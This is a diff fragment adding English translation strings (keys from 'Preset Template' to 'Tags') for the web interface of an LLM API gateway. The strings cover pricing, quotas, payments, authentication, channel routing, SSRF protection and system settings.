+    "Preset Template": "Preset Template",
+    "Preset templates": "Preset templates",
+    "Press Enter or comma to add tags": "Press Enter or comma to add tags",
+    "Press Enter to use \"{{value}}\"": "Press Enter to use \"{{value}}\"",
+    "Prevent server-side request forgery attacks": "Prevent server-side request forgery attacks",
+    "Prevent server-side request forgery attacks by controlling outbound requests.": "Prevent server-side request forgery attacks by controlling outbound requests.",
+    "Preview": "Preview",
+    "Previous": "Previous",
+    "Previous branch": "Previous branch",
+    "Previous page": "Previous page",
+    "Price": "Price",
+    "Price ($/1K calls)": "Price ($/1K calls)",
+    "Price (local currency / USD)": "Price (local currency / USD)",
+    "Price display": "Price display",
+    "Price display mode": "Price display mode",
+    "Price estimation": "Price estimation",
+    "Price estimation description": "After completing the hardware type, deployment location, replica count, etc., the price will be automatically calculated.",
+    "Price ID": "Price ID",
+    "Price mode (USD per 1M tokens)": "Price mode (USD per 1M tokens)",
+    "price_xxx": "price_xxx",
+    "Price:": "Price:",
+    "Price: High to Low": "Price: High to Low",
+    "Price: Low to High": "Price: Low to High",
+    "Prices shown per": "Prices shown per",
+    "Prices synced successfully": "Prices synced successfully",
+    "Prices vary by usage tier and request conditions": "Prices vary by usage tier and request conditions",
+    "Pricing": "Pricing",
+    "Pricing & Display": "Pricing & Display",
+    "Pricing by Group": "Pricing by Group",
+    "Pricing Configuration": "Pricing Configuration",
+    "Pricing mode": "Pricing mode",
+    "Pricing Ratios": "Pricing Ratios",
+    "Pricing Type": "Pricing Type",
+    "Primary Model": "Primary Model",
+    "Prioritize reusing the last successful channel based on keys extracted from request context (sticky routing)": "Prioritize reusing the last successful channel based on keys extracted from request context (sticky routing)",
+    "Priority": "Priority",
+    "Priority (Default)": "Priority (Default)",
+    "Priority level from 0 (lowest) to 10 (highest), default is 5": "Priority level from 0 (lowest) to 10 (highest), default is 5",
+    "Priority order for automatic group assignment. New tokens rotate through this list.": "Priority order for automatic group assignment. New tokens rotate through this list.",
+    "Privacy Policy": "Privacy Policy",
+    "Private Deployment URL": "Private Deployment URL",
+    "Processing OAuth response...": "Processing OAuth response...",
+    "Processing...": "Processing...",
+    "Product": "Product",
+    "Product ID": "Product ID",
+    "Product ID is required": "Product ID is required",
+    "Product Name": "Product Name",
+    "Products": "Products",
+    "Professional team providing 24/7 technical support": "Professional team providing 24/7 technical support",
+    "Profile": "Profile",
+    "Profile updated successfully": "Profile updated successfully",
+    "Progress": "Progress",
+    "Project": "Project",
+    "Promote": "Promote",
+    "Promotion codes": "Promotion codes",
+    "Prompt": "Prompt",
+    "Prompt (EN)": "Prompt (EN)",
+    "Prompt cache ratio": "Prompt cache ratio",
+    "Prompt Caching": "Prompt Caching",
+    "Prompt Details": "Prompt Details",
+    "Prompt price ($/1M tokens)": "Prompt price ($/1M tokens)",
+    "Protect login and registration with Cloudflare Turnstile": "Protect login and registration with Cloudflare Turnstile",
+    "Provide a JSON object where each key maps to an endpoint definition.": "Provide a JSON object where each key maps to an endpoint definition.",
+    "Provide a valid URL starting with http:// or https://": "Provide a valid URL starting with http:// or https://",
+    "Provide Markdown, HTML, or an external URL for the privacy policy": "Provide Markdown, HTML, or an external URL for the privacy policy",
+    "Provide Markdown, HTML, or an external URL for the user agreement": "Provide Markdown, HTML, or an external URL for the user agreement",
+    "Provide per-category safety overrides as JSON. Use `default` for fallback values.": "Provide per-category safety overrides as JSON. Use `default` for fallback values.",
+    "Provide per-model header overrides as JSON. Useful for enabling beta features such as expanded context windows.": "Provide per-model header overrides as JSON. Useful for enabling beta features such as expanded context windows.",
+    "Provider": "Provider",
+    "Provider created successfully": "Provider created successfully",
+    "Provider deleted successfully": "Provider deleted successfully",
+    "Provider Name": "Provider Name",
+    "Provider type (OpenAI, Anthropic, etc.)": "Provider type (OpenAI, Anthropic, etc.)",
+    "Provider updated successfully": "Provider updated successfully",
+    "Proxy Address": "Proxy Address",
+    "Publish Date": "Publish Date",
+    "Published": "Published",
+    "Published:": "Published:",
+    "Pull": "Pull",
+    "Pull model": "Pull model",
+    "Pulling...": "Pulling...",
+    "Purchase a plan to enjoy model benefits": "Purchase a plan to enjoy model benefits",
+    "Purchase here": "Purchase here",
+    "Purchase Limit": "Purchase Limit",
+    "Purchase limit reached": "Purchase limit reached",
+    "Purchase Subscription": "Purchase Subscription",
+    "QR Code Image URL": "QR Code Image URL",
+    "QR code is not configured. Please contact support.": "QR code is not configured. Please contact support.",
+    "Quantity": "Quantity",
+    "QuantumNous": "QuantumNous",
+    "Query Balance": "Query Balance",
+    "Query Param": "Query Param",
+    "Querying...": "Querying...",
+    "Question": "Question",
+    "Queued": "Queued",
+    "Quick insert common payment methods": "Quick insert common payment methods",
+    "Quick Range": "Quick Range",
+    "Quick Setup from Preset": "Quick Setup from Preset",
+    "Quota": "Quota",
+    "Quota ({{currency}})": "Quota ({{currency}})",
+    "Quota adjusted successfully": "Quota adjusted successfully",
+    "Quota consumed before charging users": "Quota consumed before charging users",
+    "Quota Distribution": "Quota Distribution",
+    "Quota given to invited users": "Quota given to invited users",
+    "Quota given to users who invite others": "Quota given to users who invite others",
+    "Quota must be a positive number": "Quota must be a positive number",
+    "Quota Per Unit": "Quota Per Unit",
+    "Quota reminder (tokens)": "Quota reminder (tokens)",
+    "Quota Reset": "Quota Reset",
+    "Quota Settings": "Quota Settings",
+    "Quota Types": "Quota Types",
+    "Quota Warning Threshold": "Quota Warning Threshold",
+    "Quota:": "Quota:",
+    "Random": "Random",
+    "Randomly select a key from the pool for each request": "Randomly select a key from the pool for each request",
+    "Rate Limit Windows": "Rate Limit Windows",
+    "Rate Limiting": "Rate Limiting",
+    "Ratio": "Ratio",
+    "Ratio applied to audio completions for streaming models.": "Ratio applied to audio completions for streaming models.",
+    "Ratio applied to audio inputs where supported by the upstream model.": "Ratio applied to audio inputs where supported by the upstream model.",
+    "Ratio applied when creating cache entries for supported models.": "Ratio applied when creating cache entries for supported models.",
+    "Ratio mode": "Ratio mode",
+    "Ratio Type": "Ratio Type",
+    "Ratio: {{value}}": "Ratio: {{value}}",
+    "Ratios synced successfully": "Ratios synced successfully",
+    "Raw JSON": "Raw JSON",
+    "Raw Quota": "Raw Quota",
+    "Re-enable on success": "Re-enable on success",
+    "Re-login": "Re-login",
+    "Ready to initialize": "Ready to initialize",
+    "Ready to simplify": "Ready to simplify",
+    "Real exchange rate between USD and your payment gateway currency": "Real exchange rate between USD and your payment gateway currency",
+    "Reason": "Reason",
+    "Reason:": "Reason:",
+    "Reasoning": "Reasoning",
+    "Reasoning Effort": "Reasoning Effort",
+    "Receive Upstream Model Update Notifications": "Receive Upstream Model Update Notifications",
+    "Received": "Received",
+    "Recharge": "Recharge",
+    "Recharge Amount": "Recharge Amount",
+    "Recharge Amount (USD)": "Recharge Amount (USD)",
+    "Recommended": "Recommended",
+    "Recommended to keep this high to avoid upstream throttling.": "Recommended to keep this high to avoid upstream throttling.",
+    "Record IP Address": "Record IP Address",
+    "Record quota usage": "Record quota usage",
+    "Redeem": "Redeem",
+    "Redeem codes": "Redeem codes",
+    "Redeemed By": "Redeemed By",
+    "Redeemed:": "Redeemed:",
+    "redemption code": "redemption code",
+    "Redemption Code": "Redemption Code",
+    "Redemption code deleted successfully": "Redemption code deleted successfully",
+    "Redemption code disabled successfully": "Redemption code disabled successfully",
+    "Redemption code enabled successfully": "Redemption code enabled successfully",
+    "Redemption code updated successfully": "Redemption code updated successfully",
+    "Redemption code(s) created successfully": "Redemption code(s) created successfully",
+    "Redemption Codes": "Redemption Codes",
+    "redemption codes.": "redemption codes.",
+    "Redemption failed": "Redemption failed",
+    "Redemption successful! Added: {{quota}}": "Redemption successful! Added: {{quota}}",
+    "Redirecting to chat page...": "Redirecting to chat page...",
+    "Redirecting to Creem checkout...": "Redirecting to Creem checkout...",
+    "Redirecting to GitHub...": "Redirecting to GitHub...",
+    "Redirecting to payment page...": "Redirecting to payment page...",
+    "Reference Video": "Reference Video",
+    "Referral link:": "Referral link:",
+    "Referral Program": "Referral Program",
+    "Refresh": "Refresh",
+    "Refresh Cache": "Refresh Cache",
+    "Refresh credential": "Refresh credential",
+    "Refresh failed": "Refresh failed",
+    "Refresh interval (minutes)": "Refresh interval (minutes)",
+    "Refresh Stats": "Refresh Stats",
+    "Refreshing...": "Refreshing...",
+    "Refund": "Refund",
+    "Refund Details": "Refund Details",
+    "Regenerate": "Regenerate",
+    "Regenerate Backup Codes": "Regenerate Backup Codes",
+    "Regex Replace": "Regex Replace",
+    "Register Passkey": "Register Passkey",
+    "Registration Enabled": "Registration Enabled",
+    "Registry (optional)": "Registry (optional)",
+    "Registry secret": "Registry secret",
+    "Registry username": "Registry username",
+    "Reject Reason": "Reject Reason",
+    "Release details": "Release details",
+    "Relying Party Display Name": "Relying Party Display Name",
+    "Relying Party ID": "Relying Party ID",
+    "Remaining": "Remaining",
+    "Remaining quota": "Remaining quota",
+    "Remaining Quota ({{currency}})": "Remaining Quota ({{currency}})",
+    "Remaining quota units": "Remaining quota units",
+    "Remaining:": "Remaining:",
+    "Remark": "Remark",
+    "Remove": "Remove",
+    "Remove ${{amount}}": "Remove ${{amount}}",
+    "Remove all log entries created before the selected timestamp.": "Remove all log entries created before the selected timestamp.",
+    "Remove attachment": "Remove attachment",
+    "Remove condition": "Remove condition",
+    "Remove Duplicates": "Remove Duplicates",
+    "Remove filter": "Remove filter",
+    "Remove functionResponse.id field": "Remove functionResponse.id field",
+    "Remove Models": "Remove Models",
+    "Remove Passkey": "Remove Passkey",
+    "Remove Passkey?": "Remove Passkey?",
+    "Remove rule group": "Remove rule group",
+    "Remove tier": "Remove tier",
+    "Removed": "Removed",
+    "Removed {{removed}} duplicate key(s). Before: {{before}}, After: {{after}}": "Removed {{removed}} duplicate key(s). Before: {{before}}, After: {{after}}",
+    "Removed Models ({{count}})": "Removed Models ({{count}})",
+    "Removes Midjourney flags such as --fast, --relax, and --turbo from user prompts.": "Removes Midjourney flags such as --fast, --relax, and --turbo from user prompts.",
+    "Removing Passkey will require you to sign in with your password next time. You can re-register anytime.": "Removing Passkey will require you to sign in with your password next time. You can re-register anytime.",
+    "Rename": "Rename",
+    "Rename deployment": "Rename deployment",
+    "Rename failed": "Rename failed",
+    "Renamed successfully": "Renamed successfully",
+    "Repeat the administrator password": "Repeat the administrator password",
+    "Replace": "Replace",
+    "Replace all existing keys": "Replace all existing keys",
+    "Replace channel models": "Replace channel models",
+    "Replace mode: Will completely replace all existing keys": "Replace mode: Will completely replace all existing keys",
+    "replaced": "replaced",
+    "Replacement Model": "Replacement Model",
+    "Replica count": "Replica count",
+    "Replicate": "Replicate",
+    "request": "request",
+    "Request": "Request",
+    "Request Body Disk Cache": "Request Body Disk Cache",
+    "Request Body Memory Cache": "Request Body Memory Cache",
+    "Request body pass-through is enabled. The request body will be sent directly to the upstream without any conversion.": "Request body pass-through is enabled. The request body will be sent directly to the upstream without any conversion.",
+    "Request conversion": "Request conversion",
+    "Request Conversion": "Request Conversion",
+    "Request Count": "Request Count",
+    "Request failed": "Request failed",
+    "Request flow": "Request flow",
+    "Request Header Overrides": "Request Header Overrides",
+    "Request ID": "Request ID",
+    "Request Limits": "Request Limits",
+    "Request Model": "Request Model",
+    "Request Model:": "Request Model:",
+    "Request rule pricing": "Request rule pricing",
+    "Request timed out, please refresh and restart GitHub login": "Request timed out, please refresh and restart GitHub login",
+    "Request-based": "Request-based",
+    "Requests per minute": "Requests per minute",
+    "requests served": "requests served",
+    "Requests will be forwarded to this worker. Trailing slashes are removed automatically.": "Requests will be forwarded to this worker. Trailing slashes are removed automatically.",
+    "Requests:": "Requests:",
+    "Require email verification for new accounts": "Require email verification for new accounts",
+    "Require job success before follow-up actions": "Require job success before follow-up actions",
+    "Require login to view models": "Require login to view models",
+    "Required": "Required",
+    "Required events:": "Required events:",
+    "Required to expose Midjourney-style image generation to end users.": "Required to expose Midjourney-style image generation to end users.",
+    "Rerank": "Rerank",
+    "Reroll": "Reroll",
+    "Resend ({{seconds}}s)": "Resend ({{seconds}}s)",
+    "Reset": "Reset",
+    "Reset 2FA": "Reset 2FA",
+    "Reset all model ratios?": "Reset all model ratios?",
+    "Reset all settings to default values": "Reset all settings to default values",
+    "Reset at:": "Reset at:",
+    "Reset balance and used quota": "Reset balance and used quota",
+    "Reset Cycle": "Reset Cycle",
+    "Reset email sent, please check your inbox": "Reset email sent, please check your inbox",
+    "Reset failed": "Reset failed",
+    "Reset Passkey": "Reset Passkey",
+    "Reset password": "Reset password",
+    "Reset Period": "Reset Period",
+    "Reset ratios": "Reset ratios",
+    "Reset Stats": "Reset Stats",
+    "Reset to default": "Reset to default",
+    "Reset to Default": "Reset to Default",
+    "Reset to default configuration": "Reset to default configuration",
+    "Reset Two-Factor Authentication": "Reset Two-Factor Authentication",
+    "Resets in:": "Resets in:",
+    "Resolve Conflicts": "Resolve Conflicts",
+    "Resource Configuration": "Resource Configuration",
+    "Response": "Response",
+    "Response Time": "Response Time",
+    "Responses API Version": "Responses API Version",
+    "Restore defaults": "Restore defaults",
+    "Restrict user model request frequency (may impact high concurrency performance)": "Restrict user model request frequency (may impact high concurrency performance)",
+    "Retain last N days": "Retain last N days",
+    "Retain last N files": "Retain last N files",
+    "Retry": "Retry",
+    "Retry Chain": "Retry Chain",
+    "Retry Times": "Retry Times",
+    "Return Error": "Return Error",
+    "Return to dashboard": "Return to dashboard",
+    "Reveal API key": "Reveal API key",
+    "Reveal key": "Reveal key",
+    "Revenue": "Revenue",
+    "Review & initialize": "Review & initialize",
+    "Review current version and fetch release notes.": "Review current version and fetch release notes.",
+    "Review your payment details": "Review your payment details",
+    "Review your purchase details before proceeding.": "Review your purchase details before proceeding.",
+    "Rewards will be added directly to your balance": "Rewards will be added directly to your balance",
+    "Rewrite callback URLs to the local server": "Rewrite callback URLs to the local server",
+    "Role": "Role",
+    "Root": "Root",
+    "Route": "Route",
+    "Route Description": "Route Description",
+    "Route is required": "Route is required",
+    "Rows per page": "Rows per page",
+    "RPM": "RPM",
+    "RSA Private Key (Production)": "RSA Private Key (Production)",
+    "RSA Private Key (Sandbox)": "RSA Private Key (Sandbox)",
+    "Rule": "Rule",
+    "Rule group": "Rule group",
+    "rules": "rules",
+    "Rules JSON": "Rules JSON",
+    "Rules JSON must be an array": "Rules JSON must be an array",
+    "Run GC": "Run GC",
+    "Run tests for the selected models": "Run tests for the selected models",
+    "Running": "Running",
+    "s": "s",
+    "Safety Settings": "Safety Settings",
+    "Same as Local": "Same as Local",
+    "Sandbox mode": "Sandbox mode",
+    "Save": "Save",
+    "Save all settings": "Save all settings",
+    "Save Backup Codes": "Save Backup Codes",
+    "Save changes": "Save changes",
+    "Save Changes": "Save Changes",
+    "Save chat settings": "Save chat settings",
+    "Save check-in settings": "Save check-in settings",
+    "Save Creem settings": "Save Creem settings",
+    "Save drawing settings": "Save drawing settings",
+    "Save Epay settings": "Save Epay settings",
+    "Save failed": "Save failed",
+    "Save failed, please retry": "Save failed, please retry",
+    "Save general settings": "Save general settings",
+    "Save group ratios": "Save group ratios",
+    "Save io.net settings": "Save io.net settings",
+    "Save log settings": "Save log settings",
+    "Save model ratios": "Save model ratios",
+    "Save Models": "Save Models",
+    "Save monitoring rules": "Save monitoring rules",
+    "Save navigation": "Save navigation",
+    "Save notice": "Save notice",
+    "Save rate limits": "Save rate limits",
+    "Save sensitive words": "Save sensitive words",
+    "Save Settings": "Save Settings",
+    "Save sidebar modules": "Save sidebar modules",
+    "Save SMTP settings": "Save SMTP settings",
+    "Save SSRF settings": "Save SSRF settings",
+    "Save Stripe settings": "Save Stripe settings",
+    "Save these backup codes in a safe place. Each code can only be used once.": "Save these backup codes in a safe place. Each code can only be used once.",
+    "Save these codes in a safe place. Each code can only be used once.": "Save these codes in a safe place. Each code can only be used once.",
+    "Save tool prices": "Save tool prices",
+    "Save Waffo Pancake settings": "Save Waffo Pancake settings",
+    "Save Worker settings": "Save Worker settings",
+    "Saved successfully": "Saved successfully",
+    "Saving...": "Saving...",
+    "Scan QR Code": "Scan QR Code",
+    "Scan the QR code to follow the official account and reply with “验证码” to receive your verification code.": "Scan the QR code to follow the official account and send the message “验证码” to receive your verification code.",
+    "Scan the QR code with WeChat to bind your account": "Scan the QR code with WeChat to bind your account",
+    "Scan this QR code with your authenticator app (Google Authenticator, Microsoft Authenticator, etc.)": "Scan this QR code with your authenticator app (Google Authenticator, Microsoft Authenticator, etc.)",
+    "Scheduled channel tests": "Scheduled channel tests",
+    "Scope": "Scope",
+    "Scopes": "Scopes",
+    "Search": "Search",
+    "Search by name or URL...": "Search by name or URL...",
+    "Search by order number...": "Search by order number...",
+    "Search chat presets...": "Search chat presets...",
+    "Search colors...": "Search colors...",
+    "Search conflicting models or fields": "Search conflicting models or fields",
+    "Search deployments...": "Search deployments...",
+    "Search feature in development": "Search feature in development",
+    "Search group names...": "Search group names...",
+    "Search groups...": "Search groups...",
+    "Search missing models": "Search missing models",
+    "Search model name...": "Search model name...",
+    "Search models": "Search models",
+    "Search models or fields...": "Search models or fields...",
+    "Search models...": "Search models...",
+    "Search payment methods...": "Search payment methods...",
+    "Search payment types...": "Search payment types...",
+    "Search products...": "Search products...",
+    "Search tags...": "Search tags...",
+    "Search vendors...": "Search vendors...",
+    "Search...": "Search...",
+    "seconds": "seconds",
+    "Secret env (JSON object)": "Secret env (JSON object)",
+    "Secret environment variables (JSON)": "Secret environment variables (JSON)",
+    "Secret Key": "Secret Key",
+    "Secure & Reliable": "Secure & Reliable",
+    "Security": "Security",
+    "Security Check": "Security Check",
+    "Security verification": "Security verification",
+    "Select": "Select",
+    "Select a color": "Select a color",
+    "Select a group": "Select a group",
+    "Select a group type": "Select a group type",
+    "Select a preset...": "Select a preset...",
+    "Select a role": "Select a role",
+    "Select a timestamp before clearing logs.": "Select a timestamp before clearing logs.",
+    "Select a usage mode to continue": "Select a usage mode to continue",
+    "Select a verification method first": "Select a verification method first",
+    "Select all": "Select all",
+    "Select all (filtered)": "Select all (filtered)",
+    "Select all models": "Select all models",
+    "Select All Visible": "Select All Visible",
+    "Select an operation mode and enter the amount": "Select an operation mode and enter the amount",
+    "Select announcement type": "Select announcement type",
+    "Select at least one field to overwrite.": "Select at least one field to overwrite.",
+    "Select channel type": "Select channel type",
+    "Select currency": "Select currency",
+    "Select date": "Select date",
+    "Select display mode": "Select display mode",
+    "Select end time": "Select end time",
+    "Select from presets or type custom identifier.": "Select from presets or type custom identifier.",
+    "Select granularity": "Select granularity",
+    "Select groups (leave empty to keep current)": "Select groups (leave empty to keep current)",
+    "Select items...": "Select items...",
+    "Select key format": "Select key format",
+    "Select Language": "Select Language",
+    "Select layout style": "Select layout style",
+    "Select locations": "Select locations",
+    "Select Model": "Select Model",
+    "Select models (empty for allow all)": "Select models (empty for allow all)",
+    "Select models and apply to channel models list.": "Select models and apply to channel models list.",
+    "Select models or add custom ones": "Select models or add custom ones",
+    "Select models to process. Unselected \"add\" models will be ignored.": "Select models to process. Unselected \"add\" models will be ignored.",
+    "Select models to run batch tests.": "Select models to run batch tests.",
+    "Select or enter color value": "Select or enter color value",
+    "Select or enter model name": "Select or enter model name",
+    "Select or enter payment type": "Select or enter payment type",
+    "Select payment method": "Select payment method",
+    "Select preset or enter custom CSS color value.": "Select preset or enter custom CSS color value.",
+    "Select publish date": "Select publish date",
+    "Select requirement": "Select requirement",
+    "Select row": "Select row",
+    "Select sidebar style": "Select sidebar style",
+    "Select site direction": "Select site direction",
+    "Select start time": "Select start time",
+    "Select subscription plan": "Select subscription plan",
+    "Select Sync Channels": "Select Sync Channels",
+    "Select sync channels to compare prices": "Select sync channels to compare prices",
+    "Select sync channels to compare ratios": "Select sync channels to compare ratios",
+    "Select Sync Source": "Select Sync Source",
+    "Select the API endpoint region": "Select the API endpoint region",
+    "Select the fields you want to overwrite with upstream data. Unselected fields keep their local values.": "Select the fields you want to overwrite with upstream data. Unselected fields keep their local values.",
+    "Select theme preference": "Select theme preference",
+    "Select time granularity": "Select time granularity",
+    "Select vendor": "Select vendor",
+    "Selectable groups": "Selectable groups",
+    "selected": "selected",
+    "selected channel(s). Leave empty to remove tag.": "selected channel(s). Leave empty to remove tag.",
+    "Selected conflicts were overwritten successfully.": "Selected conflicts were overwritten successfully.",
+    "Self-Use Mode": "Self-Use Mode",
+    "Send": "Send",
+    "Send code": "Send code",
+    "Send email alerts when a user falls below this quota": "Send email alerts when a user falls below this quota",
+    "Sending...": "Sending...",
+    "Sensitive Words": "Sensitive Words",
+    "Sent the API key to FluentRead.": "Sent the API key to FluentRead.",
+    "Serve multiple users or teams with billing and quota control.": "Serve multiple users or teams with billing and quota control.",
+    "Server Address": "Server Address",
+    "Server IP": "Server IP",
+    "Server Log Management": "Server Log Management",
+    "Server logging is not enabled (log directory not configured)": "Server logging is not enabled (log directory not configured)",
+    "Server Token": "Server Token",
+    "Service account JSON file(s)": "Service account JSON file(s)",
+    "Session expired!": "Session expired!",
+    "Session expired?": "Session expired?",
+    "Set": "Set",
+    "Set a discount rate for a specific recharge amount threshold.": "Set a discount rate for a specific recharge amount threshold.",
+    "Set a secure password (min. 8 characters)": "Set a secure password (min. 8 characters)",
+    "Set a tag for": "Set a tag for",
+    "Set filters to customize your dashboard statistics and charts.": "Set filters to customize your dashboard statistics and charts.",
+    "Set filters to narrow down your log search results.": "Set filters to narrow down your log search results.",
+    "Set API key access restrictions": "Set API key access restrictions",
+    "Set API key basic information": "Set API key basic information",
+    "Set Header": "Set Header",
+    "Set Project to io.cloud when creating/selecting key": "Set Project to io.cloud when creating/selecting key",
+    "Set quota amount and limits": "Set quota amount and limits",
+    "Set Tag": "Set Tag",
+    "Set tag for selected channels": "Set tag for selected channels",
+    "Set the user's role (cannot be Root)": "Set the user's role (cannot be Root)",
+    "Setting saved": "Setting saved",
+    "Setting up 2FA...": "Setting up 2FA...",
+    "Setting updated successfully": "Setting updated successfully",
+    "Settings": "Settings",
+    "Settings & Preferences": "Settings & Preferences",
+    "Settings updated successfully": "Settings updated successfully",
+    "Setup Instructions": "Setup Instructions",
+    "Setup Two-Factor Authentication": "Setup Two-Factor Authentication",
+    "Share your link and earn rewards": "Share your link and earn rewards",
+    "Shared configuration for all payment gateways": "Shared configuration for all payment gateways",
+    "Shorten": "Shorten",
+    "Show": "Show",
+    "Show All": "Show All",
+    "Show all providers including unbound": "Show all providers including unbound",
+    "Show only bound providers": "Show only bound providers",
+    "Show prices in currency instead of quota.": "Show prices in currency instead of quota.",
+    "Show token usage statistics in the UI": "Show token usage statistics in the UI",
+    "Showcase core capabilities with demo credentials and limited access.": "Showcase core capabilities with demo credentials and limited access.",
+    "Showing": "Showing",
+    "showing •": "showing •",
+    "Sidebar": "Sidebar",
+    "Sidebar collapsed by default for new users": "Sidebar collapsed by default for new users",
+    "Sidebar modules": "Sidebar modules",
+    "Sidebar Personal Settings": "Sidebar Personal Settings",
+    "Sign in": "Sign in",
+    "Sign In": "Sign In",
+    "Sign in with Passkey": "Sign in with Passkey",
+    "Sign out": "Sign out",
+    "Sign up": "Sign up",
+    "Signed in": "Signed in",
+    "Signed in successfully!": "Signed in successfully!",
+    "Signed in via WeChat": "Signed in via WeChat",
+    "Signed in with Passkey": "Signed in with Passkey",
+    "Signed out": "Signed out",
+    "Signing you in with {{provider}}": "Signing you in with {{provider}}",
+    "SiliconFlow": "SiliconFlow",
+    "Single Key": "Single Key",
+    "Site Key": "Site Key",
+    "Size:": "Size:",
+    "sk_xxx or rk_xxx": "sk_xxx or rk_xxx",
+    "Skip retry on failure": "Skip retry on failure",
+    "Skip to Main": "Skip to Main",
+    "Slug": "Slug",
+    "Slug can only contain letters, numbers, hyphens, and underscores": "Slug can only contain letters, numbers, hyphens, and underscores",
+    "Slug is required": "Slug is required",
+    "Slug must be less than 100 characters": "Slug must be less than 100 characters",
+    "Smallest USD amount users can recharge (Epay)": "Smallest USD amount users can recharge (Epay)",
+    "SMTP Email": "SMTP Email",
+    "SMTP Host": "SMTP Host",
+    "smtp.example.com": "smtp.example.com",
+    "socks5://user:pass@host:port": "socks5://user:pass@host:port",
+    "Soft Errors": "Soft Errors",
+    "Some channels failed: {{errorMsg}}": "Some channels failed: {{errorMsg}}",
+    "Something went wrong!": "Something went wrong!",
+    "Sonnet Model": "Sonnet Model",
+    "Sora": "Sora",
+    "Sort": "Sort",
+    "Sort by ID": "Sort by ID",
+    "Sort Order": "Sort Order",
+    "Source": "Source",
+    "sources": "sources",
+    "Space-separated OAuth scopes": "Space-separated OAuth scopes",
+    "Spark model version, e.g., v2.1 (version number in API URL)": "Spark model version, e.g., v2.1 (version number in API URL)",
+    "Special usable group rules": "Special usable group rules",
+    "SQLite stores all data in a single file. Make sure that file is persisted when running in containers.": "SQLite stores all data in a single file. Make sure that file is persisted when running in containers.",
+    "SSRF Protection": "SSRF Protection",
+    "Standard": "Standard",
+    "Start": "Start",
+    "Start a conversation to see messages here": "Start a conversation to see messages here",
+    "Start for free with generous limits. No credit card required.": "Start for free with generous limits. No credit card required.",
+    "Start Time": "Start Time",
+    "Static page describing the platform.": "Static page describing the platform.",
+    "Statistical count": "Statistical count",
+    "Statistical quota": "Statistical quota",
+    "Statistical tokens": "Statistical tokens",
+    "Statistics reset": "Statistics reset",
+    "Status": "Status",
+    "Status & Sync": "Status & Sync",
+    "Status Code Mapping": "Status Code Mapping",
+    "Status Page Slug": "Status Page Slug",
+    "Status:": "Status:",
+    "Stay": "Stay",
+    "Stay tuned though!": "Stay tuned though!",
+    "Step": "Step",
+    "Stop": "Stop",
+    "Store ID": "Store ID",
+    "Store ID is required": "Store ID is required",
+    "Stored value is not echoed back for security": "Stored value is not echoed back for security",
+    "stream": "stream",
+    "Stream": "Stream",
+    "Stream Mode": "Stream Mode",
+    "Stream Status": "Stream Status",
+    "Stripe": "Stripe",
+    "Stripe API key (leave blank unless updating)": "Stripe API key (leave blank unless updating)",
+    "Stripe Dashboard": "Stripe Dashboard",
+    "Stripe Gateway": "Stripe Gateway",
+    "Stripe product price ID": "Stripe product price ID",
+    "Stripe/Creem requires creating products on the third-party platform and entering the ID": "Stripe/Creem requires creating products on the third-party platform and entering the ID",
+    "Submit": "Submit",
+    "Submit directly": "Submit directly",
+    "Submit Result": "Submit Result",
+    "Submit Time": "Submit Time",
+    "Submitted": "Submitted",
+    "Submitting": "Submitting",
+    "Submitting...": "Submitting...",
+    "Submodel": "Submodel",
+    "Subscribe Now": "Subscribe Now",
+    "Subscription": "Subscription",
+    "Subscription Billing": "Subscription Billing",
+    "Subscription First": "Subscription First",
+    "Subscription Management": "Subscription Management",
+    "Subscription Only": "Subscription Only",
+    "Subscription Plans": "Subscription Plans",
+    "Subtract": "Subtract",
+    "Success": "Success",
+    "Successfully created {{count}} API Key(s)": "Successfully created {{count}} API Key(s)",
+    "Successfully created {{count}} redemption codes": "Successfully created {{count}} redemption codes",
+    "Successfully deleted {{count}} API key(s)": "Successfully deleted {{count}} API key(s)",
+    "Successfully deleted {{count}} invalid redemption codes": "Successfully deleted {{count}} invalid redemption codes",
+    "Successfully deleted {{count}} model(s)": "Successfully deleted {{count}} model(s)",
+    "Successfully disabled {{count}} model(s)": "Successfully disabled {{count}} model(s)",
+    "Successfully enabled {{count}} model(s)": "Successfully enabled {{count}} model(s)",
+    "Suffix": "Suffix",
+    "Suffix Match": "Suffix Match",
+    "SunoAPI": "SunoAPI",
+    "Super Admin": "Super Admin",
+    "Support for high concurrency with automatic load balancing": "Support for high concurrency with automatic load balancing",
+    "Supported Imagine Models": "Supported Imagine Models",
+    "Supports `-thinking`, `-thinking-": "Supports `-thinking`, `-thinking-",
+    "Supports HTML markup or iframe embedding. Enter HTML code directly, or provide a complete URL to automatically embed it as an iframe.": "Supports HTML markup or iframe embedding. Enter HTML code directly, or provide a complete URL to automatically embed it as an iframe.",
+    "Supports PNG, JPG, SVG, or WebP. Recommended size: 128×128 or smaller.": "Supports PNG, JPG, SVG, or WebP. Recommended size: 128×128 or smaller.",
+    "Swap Face": "Swap Face",
+    "Switch affinity on success": "Switch affinity on success",
+    "Switch between the new frontend and the classic frontend. Changes take effect after page reload.": "Switch between the new frontend and the classic frontend. Changes take effect after page reload.",
+    "Switch to JSON": "Switch to JSON",
+    "Switch to Visual": "Switch to Visual",
+    "Sync Endpoint": "Sync Endpoint",
+    "Sync Fields": "Sync Fields",
+    "Sync from the public upstream metadata repository.": "Sync from the public upstream metadata repository.",
+    "Sync this model with official upstream": "Sync this model with official upstream",
+    "Sync Upstream": "Sync Upstream",
+    "Sync Upstream Models": "Sync Upstream Models",
+    "Synchronize models and vendors from an upstream source": "Synchronize models and vendors from an upstream source",
+    "Syncing prices, please wait...": "Syncing prices, please wait...",
+    "System": "System",
+    "System Administration": "System Administration",
+    "System Announcements": "System Announcements",
+    "System Behavior": "System Behavior",
+    "System data statistics": "System data statistics",
+    "System Information": "System Information",
+    "System initialized successfully! Redirecting…": "System initialized successfully! Redirecting…",
+    "System logo": "System logo",
+    "System maintenance": "System maintenance",
+    "System Memory": "System Memory",
+    "System Memory Stats": "System Memory Stats",
+    "System Name": "System Name",
+    "System name is required": "System name is required",
+    "System Notice": "System Notice",
+    "System Performance Monitoring": "System Performance Monitoring",
+    "System Prompt": "System Prompt",
+    "System Prompt Concatenation": "System Prompt Concatenation",
+    "System Prompt Override": "System Prompt Override",
+    "System settings": "System settings",
+    "System Settings": "System Settings",
+    "System setup wizard": "System setup wizard",
+    "System task records": "System task records",
+    "System Version": "System Version",
+    "Table view": "Table view",
+    "Tag": "Tag",
+    "Tag Aggregate": "Tag Aggregate",
+    "Tag Mode": "Tag Mode",
+    "Tag Name": "Tag Name",
+    "Tag set successfully": "Tag set successfully",
+    "Tag updated successfully": "Tag updated successfully",
+    "Tag:": "Tag:",
+    "Tags": "Tags",
